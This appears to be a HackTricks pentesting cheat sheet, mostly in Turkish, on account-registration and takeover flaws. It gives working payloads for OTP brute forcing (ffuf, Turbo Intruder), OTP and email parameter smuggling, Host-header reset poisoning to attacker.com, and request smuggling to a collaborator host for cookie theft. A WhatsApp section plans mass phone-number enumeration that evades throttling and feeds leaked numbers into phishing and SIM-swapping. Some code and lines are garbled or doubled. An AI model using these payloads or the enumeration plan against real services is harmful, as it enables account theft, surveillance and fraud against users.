Registration & Takeover Vulnerabilities
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Registration Takeover
Duplicate Registration
- Mevcut bir username kullanarak oluşturmayı dene
- email’i değiştirerek kontrol et:
- uppercase
- +1@
- email’e nokta ekle
- email adında özel karakterler kullan (%00, %09, %20)
- email’den sonra boş karakterler koy:
test@test.com a - victim@gmail.com@attacker.com
- victim@attacker.com@gmail.com
- Email sağlayıcı canonicalization hilelerini dene (servise bağlı):
- Gmail dots ve subaddressing’i görmezden gelir:
victim+1@gmail.com,v.ic.tim@gmail.comadreslerivictim@gmail.com’a teslim edilir - Bazı sağlayıcılar local-part’ta büyük/küçük harf farkını önemsemez
- Bazı sağlayıcılar unicode confusables kabul eder. local-part içinde homoglyphs ve soft hyphen
\u00ADdene - Bunları şu amaçlarla kötüye kullan:
- uniqueness kontrollerini atlatmak,
- duplicate accounts/workspace davetleri elde etmek,
- veya hedefin kayıt olmasını engellemek (geçici DoS) ele geçirmeyi hazırlarken
Username Enumeration
Kullanıcının uygulama içinde zaten kayıtlı olup olmadığını anlayıp anlayamayacağını kontrol et.
- Farklı hata mesajları veya HTTP status kodları
- Zamanlama farkları (kayıtlı kullanıcı IdP/DB araması tetikleyebilir)
- Kayıt formunun bilinen emaillere ait profil verilerini otomatik doldurması
- Takım/invite akışlarını kontrol et: bir email girildiğinde hesabın var olup olmadığını açığa çıkarabilir
Password Policy
Kullanıcı oluştururken password politikasını kontrol et (zayıf parolaların kullanılıp kullanılamayacağını dene).
Bu durumda credential bruteforce denemeleri yapabilirsin.
SQL Injection
Check this page to learn how to attempt account takeovers or extract information via SQL Injections in registry forms.
Oauth Takeovers
SAML Vulnerabilities
Change Email
Kayıtlıyken email’i değiştirmeyi dene ve bu değişikliğin düzgün doğrulanıp doğrulanmadığını ya da rastgele emaillere değiştirilebildiğini kontrol et.
More Checks
- Disposable emails (mailinator, yopmail, 1secmail, vb.) kullanıp kullanamadığını kontrol et veya
victim+mailinator@gmail.comgibi subaddressing ile blocklist’i atlat - Uzun password (>200) DoS’a yol açabilir
- Hesap oluşturma için rate limitleri kontrol et
- username@burp_collab.net kullan ve callback’i analiz et
- Telefon doğrulaması kullanılıyorsa phone parsing/injection kenar durumlarını kontrol et
Contact-discovery / identifier-enumeration oracles
Phone-number–centric messengers, client kişi senkronize ettiğinde bir presence oracle açığa çıkarır. WhatsApp’ın discovery isteklerini tekrar oynatmak tarihsel olarak >100M lookup/saat sağladı ve neredeyse tam hesap envanteri yapılmasına imkan verdi.
Attack workflow
- Resmi bir client’ı instrument ederek address-book upload isteğini yakala (kimlikli, normalize edilmiş E.164 numaralarının blob’u). Aynı cookie/device token’ı yeniden kullanarak attacker-üretimli numaralarla replay et.
- İstek başına sayı grupları (batch) gönder: WhatsApp binlerce identifier kabul eder ve kayıtlı/kayıtsız yanında metadata (business, companion, vb.) döner. Yanıtları offline analiz ederek kurbanlara mesaj atmadan hedef listeleri oluştur.
- SIM bankaları, cloud cihazlar veya residential proxylerle enumerasyonu yatay olarak scale et ki hesap/IP/ASN başına throttling hiç tetiklenmesin.
Dialing-plan modeling
Her ülkenin dialing planını modelleyerek geçersiz adayları atla. NDSS dataset’i (country-table.*) ülke kodları, benimsenme yoğunluğu ve platform dağılımını listeler; böylece yüksek isabetli aralıkları önceliklendirebilirsin. Örnek seedleme kodu:
import pandas as pd
from itertools import product
df = pd.read_csv("country-table.csv")
row = df[df["Country"] == "India"].iloc[0]
prefix = "+91" # India mobile numbers are 10 digits
for suffix in product("0123456789", repeat=10):
candidate = prefix + "".join(suffix)
enqueue(candidate)
Sorgulama yapmadan önce gerçek tahsislara (Mobile Country Code + National Destination Code) uyan önekleri önceliklendirin; oracle’ı sorgulamadan önce böylece throughput faydalı kalır.
Turning enumerations into targeted attacks
- Feed leaked phone numbers (e.g., Facebook’s 2021 breach) into the oracle to learn which identities are still active before phishing, SIM-swapping, or spamming.
- Ülke/OS/uygulama türüne göre sayımları bölümlere ayırarak yerel social engineering için zayıf SMS filtrelemesi veya yoğun WhatsApp Business benimsenmesi olan bölgeleri tespit edin.
Açık anahtar yeniden kullanım korelasyonu
WhatsApp, oturum kurulumu sırasında her hesabın X25519 identity key’ini ifşa eder. Her enumerate edilmiş numara için kimlik materyali isteyin ve public keys üzerinde tekrarlayanları çıkararak hesap çiftliklerini, klonlanmış istemcileri veya güvensiz firmware’i ortaya çıkarın — paylaşılan anahtarlar multi-SIM operasyonlarının anonimliğini ortadan kaldırır.
Zayıf E-posta/Telefon Doğrulaması (OTP/Magic Link)
Kayıt akışları genellikle mülkiyeti sayısal bir OTP veya bir magic-link token ile doğrular. Tipik hatalar:
- Tahmin edilebilir veya kısa OTP (4–6 hane) ve etkili rate limiting ya da IP/device takibi yok. Paralel tahminler deneyin ve header/IP rotasyonu uygulayın.
- OTP’nin işlemler veya hesaplar arasında yeniden kullanılması ya da belirli kullanıcı/işleme bağlı olmaması (örn. aynı kod login ve signup için çalışıyor veya e-posta değiştikten sonra çalışıyor).
- Multi-value smuggling: bazı backend’ler birden fazla kod kabul eder ve herhangi bir eşleşme varsa doğrular. Şunları deneyin:
code=000000&code=123456- JSON arrays:
{"code":["000000","123456"]} - Mixed parameter names:
otp=000000&one_time_code=123456 - Comma/pipe separated values:
code=000000,123456orcode=000000|123456 - Response oracle: durum/mesaj/gövde uzunluğuna göre wrong vs expired vs wrong-user kodlarını ayırt edin.
- Token’lar başarı sonrası veya parola/e-posta değişikliğinden sonra geçersizleştirilmez.
- Verification token’ın user agent/IP’ye bağlı olmaması, saldırgan kontrollü sayfalardan cross-origin tamamlamaya izin verir.
Bruteforcing example with ffuf against a JSON OTP endpoint:
ffuf -w <wordlist_of_codes> -u https://target.tld/api/verify -X POST \
-H 'Content-Type: application/json' \
-d '{"email":"victim@example.com","code":"FUZZ"}' \
-fr 'Invalid|Too many attempts' -mc all
Parallel/concurrent guessing ile sequential lockouts’ı atlatmak (Burp’ta Turbo Intruder kullanın):
Turbo Intruder snippet — 6-haneli OTP denemelerini floodlamak için
```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=30, requestsPerConnection=100) for code in range(0,1000000): body = '{"email":"victim@example.com","code":"%06d"}' % code engine.queue(target.req, body=body)def handleResponse(req, interesting): if req.status != 401 and b’Invalid’ not in req.response: table.add(req)
</details>
- Try racing verification: aynı geçerli OTP'yi iki oturumda eşzamanlı olarak gönderin; bazen bir oturum doğrulanmış saldırgan hesabı olurken kurban akışı da başarılı olur.
- Also test Host header poisoning on verification links (same as reset poisoning below) to leak or complete verification on attacker controlled host — verification link'lerinde Host header poisoning'i test edin (aşağıdaki reset poisoning ile aynı); attacker controlled host üzerinde verification'ı leak etmek veya tamamlamak mümkün olabilir.
<a class="content_ref" href="rate-limit-bypass.md"><span class="content_ref_label">Rate Limit Bypass</span></a>
<a class="content_ref" href="2fa-bypass.md"><span class="content_ref_label">2FA/MFA/OTP Bypass</span></a>
<a class="content_ref" href="email-injections.md"><span class="content_ref_label">Email Injections</span></a>
## Account Pre‑Hijacking Techniques (before the victim signs up)
Kurban hesap oluşturulmadan önce saldırganın kurbanın e‑postası üzerinde işlem yapıp daha sonra erişimi geri kazanması güçlü bir sorun sınıfı oluşturur.
Key techniques to test (adapt to the target’s flows):
- Classic–Federated Merge
- Attacker: kurban e‑postası ile classic bir hesap kaydeder ve şifre belirler
- Victim: daha sonra SSO ile (aynı e‑posta) kayıt olur
- Güvensiz merges her iki tarafı da oturumda bırakabilir veya saldırganın erişimini yeniden ortaya çıkarabilir
- Unexpired Session Identifier
- Attacker: hesap oluşturur ve uzun‑ömürlü bir oturum tutar (çıkış yapmayın)
- Victim: şifreyi kurtarır/ayarlar ve hesabı kullanır
- Test if old sessions stay valid after reset or MFA enablement
- Trojan Identifier
- Attacker: önceden oluşturulmuş hesaba ikincil bir tanımlayıcı ekler (telefon, ek e‑posta, veya saldırganın IdP'sini bağlar)
- Victim: şifreyi sıfırlar; saldırgan daha sonra trojan identifier'ı kullanarak sıfırlama/giriş yapar
- Unexpired Email Change
- Attacker: e‑posta değişikliğini saldırgana ait e‑posta olarak başlatır ve onayı bekletir
- Victim: hesabı kurtarır ve kullanmaya başlar
- Attacker: daha sonra bekleyen e‑posta değişikliğini tamamlayarak hesabı çalar
- Non‑Verifying IdP
- Attacker: e‑posta sahipliğini doğrulamayan bir IdP kullanarak `victim@…` iddiasında bulunur
- Victim: klasik yoldan kayıt olur
- Service merges on email without checking `email_verified` or performing local verification
Practical tips
- Harvest flows and endpoints from web/mobile bundles. Look for classic signup, SSO linking, email/phone change, and password reset endpoints.
- Web/mobile bundle'larından akışları ve endpoint'leri toplayın. classic signup, SSO linking, email/phone change ve password reset endpoint'lerini arayın.
- Create realistic automation to keep sessions alive while you exercise other flows.
- Diğer akışları test ederken oturumları canlı tutmak için gerçekçi otomasyon oluşturun.
- For SSO tests, stand up a test OIDC provider and issue tokens with `email` claims for the victim address and `email_verified=false` to check if the RP trusts unverified IdPs.
- SSO testleri için bir test OIDC provider kurun ve RP'nin doğrulanmamış IdP'lere güvenip güvenmediğini kontrol etmek için kurban adresi için `email` claim'leri ve `email_verified=false` ile token'lar verin.
- After any password reset or email change, verify that:
- all other sessions and tokens are invalidated,
- pending email/phone change capabilities are cancelled,
- previously linked IdPs/emails/phones are re‑verified.
- Herhangi bir parola sıfırlama veya e‑posta değişikliğinden sonra doğrulayın ki:
- tüm diğer oturumlar ve token'lar geçersiz kılınmış olsun,
- bekleyen e‑posta/telefon değişikliği yetenekleri iptal edilmiş olsun,
- önceden bağlı IdP'ler/e‑postalar/telefonlar yeniden doğrulansın.
Note: Extensive methodology and case studies of these techniques are documented by Microsoft’s pre‑hijacking research (see References at the end).
<a class="content_ref" href="reset-password.md"><span class="content_ref_label">Reset/Forgotten Password Bypass</span></a>
<a class="content_ref" href="race-condition.md"><span class="content_ref_label">Race Condition</span></a>
## **Password Reset Takeover**
### Password Reset Token Leak Via Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
1. Request password reset to your email address
- E‑posta adresinize password reset talebi gönderin
2. Click on the password reset link
- Password reset link'ine tıklayın
3. Don’t change password
- Parolayı değiştirmeyin
4. Click any 3rd party websites(eg: Facebook, twitter)
- Herhangi üçüncü taraf bir siteye (örn: Facebook, twitter) tıklayın
5. Intercept the request in Burp Suite proxy
- İsteği Burp Suite proxy'sinde yakalayın
6. Check if the referer header is leaking password reset token.
- Referer header'ının password reset token'ı leak edip etmediğini kontrol edin.
### Password Reset Poisoning <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
1. Intercept the password reset request in Burp Suite
- Password reset isteğini Burp Suite'te yakalayın
2. Add or edit the following headers in Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
- Burp Suite'te aşağıdaki header'ları ekleyin veya düzenleyin: `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. Forward the request with the modified header\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
- Değiştirilmiş header ile isteği iletin\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. Look for a password reset URL based on the _host header_ like : `https://attacker.com/reset-password.php?token=TOKEN`
- Host header'a dayalı bir password reset URL'si arayın, örn: `https://attacker.com/reset-password.php?token=TOKEN`
### Password Reset Via Email Parameter <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
```bash
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
IDOR on API Parameters
- Saldırgan kendi hesabıyla giriş yapmalı ve Change password özelliğine gitmeli.
- Burp Suite’i başlatın ve isteği Intercept edin
- İsteği repeater sekmesine gönderin ve parametreleri düzenleyin : User ID/email
powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})
Zayıf Parola Sıfırlama Token’ı
Password reset token her seferinde rastgele oluşturulmalı ve benzersiz olmalıdır.
Token’ın süresinin dolup dolmadığını veya her zaman aynı olup olmadığını belirlemeye çalışın; bazı durumlarda üretim algoritması zayıf olabilir ve tahmin edilebilir. Aşağıdaki değişkenler algoritma tarafından kullanılabilir.
- Zaman damgası
- UserID
- Kullanıcının Email’i
- İsim ve Soyisim
- Doğum Tarihi
- Kriptografi
- Sadece sayı
- Küçük token dizisi (karakterler arasında [A-Z,a-z,0-9])
- Token tekrar kullanımı
- Token’ın sona erme tarihi
Leaking Password Reset Token
- Belirli bir email için API/UI kullanarak bir password reset isteği tetikleyin e.g: test@mail.com
- Sunucu yanıtını inceleyin ve
resetToken’ı kontrol edin - Daha sonra token’ı şu şekilde bir URL’de kullanın:
https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]
Kullanıcı Adı Çakışması Yoluyla Parola Sıfırlama
- Sisteme, mağdurun kullanıcı adıyla özdeş ancak kullanıcı adının önüne ve/veya sonuna boşluklar eklenmiş bir username ile kayıt olun. e.g:
"admin " - Kötü niyetli username’inizle parola sıfırlama isteği gönderin.
- E-posta adresinize gönderilen token’ı kullanarak mağdurun parolasını sıfırlayın.
- Yeni parola ile mağdur hesabına giriş yapın.
CTFd platformu bu saldırıya karşı savunmasızdı.
See: CVE-2020-7245
Hesap Ele Geçirme Yoluyla Cross Site Scripting
- Uygulama içinde veya çerezler parent domain’e scoped ise bir subdomain’de XSS bulun :
*.domain.com - Leak the current sessions cookie
- Cookie kullanarak kullanıcı olarak kimlik doğrulayın
Hesap Ele Geçirme Yoluyla HTTP Request Smuggling
- HTTP Request Smuggling türünü (CL, TE, CL.TE) tespit etmek için smuggler kullanın
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h\ POST / HTTP/1.1üzerine aşağıdaki verilerle overwrite edecek bir istek oluşturun:GET http://something.burpcollaborator.net HTTP/1.1 X:hedef, kurbanları burpcollab’e open redirect ile yönlendirip cookies’lerini çalmak- Son istek aşağıdaki gibi görünebilir
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net HTTP/1.1
X: X
Hackerone raporları bu hatanın istismar edildiğini gösteriyor\
CSRF ile Hesap Ele Geçirme
- CSRF için bir payload oluşturun, örn: “HTML form with auto submit for a password change”
- Payload’u gönderin
JWT ile Hesap Ele Geçirme
JSON Web Token bir kullanıcıyı authenticate etmek için kullanılabilir.
- JWT içindeki User ID / Email’i değiştirin
- Zayıf JWT imzası için kontrol edin
JWT Vulnerabilities (Json Web Tokens)
Kayıt Olarak Sıfırlama (Upsert on Existing Email)
Bazı signup handler’ları, sağlanan email zaten mevcutsa bir upsert gerçekleştirir. Eğer endpoint email ve password içeren minimal bir body kabul ediyor ve ownership verification uygulamıyorsa, victim’in email’ini göndererek password’lerini pre-auth olarak üzerine yazabilirsiniz.
- Keşif: bundled JS (veya mobil uygulama trafiği) içinden endpoint isimlerini toplayın, sonra ffuf/dirsearch kullanarak /parents/application/v4/admin/FUZZ gibi base path’leri fuzz’leyin.
- Yöntem ipuçları: a GET returning messages like “Only POST request is allowed.” often indicates the correct verb and that a JSON body is expected.
- Gerçek dünyada gözlemlenen minimal body:
{"email":"victim@example.com","password":"New@12345"}
Örnek PoC:
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json
{"email":"victim@example.com","password":"New@12345"}
Etkisi: Full Account Takeover (ATO) herhangi bir reset token, OTP veya email verification olmadan.
Referanslar
- Kritik Bir Password Reset Bug’ını Nasıl Buldum (Registration upsert ATO)
- Microsoft MSRC – Pre‑hijacking attacks on web user accounts (May 2022)
- https://salmonsec.com/cheatsheet/account_takeover
- Hey there! You are using WhatsApp: Enumerating Three Billion Accounts for Security and Privacy (NDSS 2026 paper & dataset)
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
HackTricks

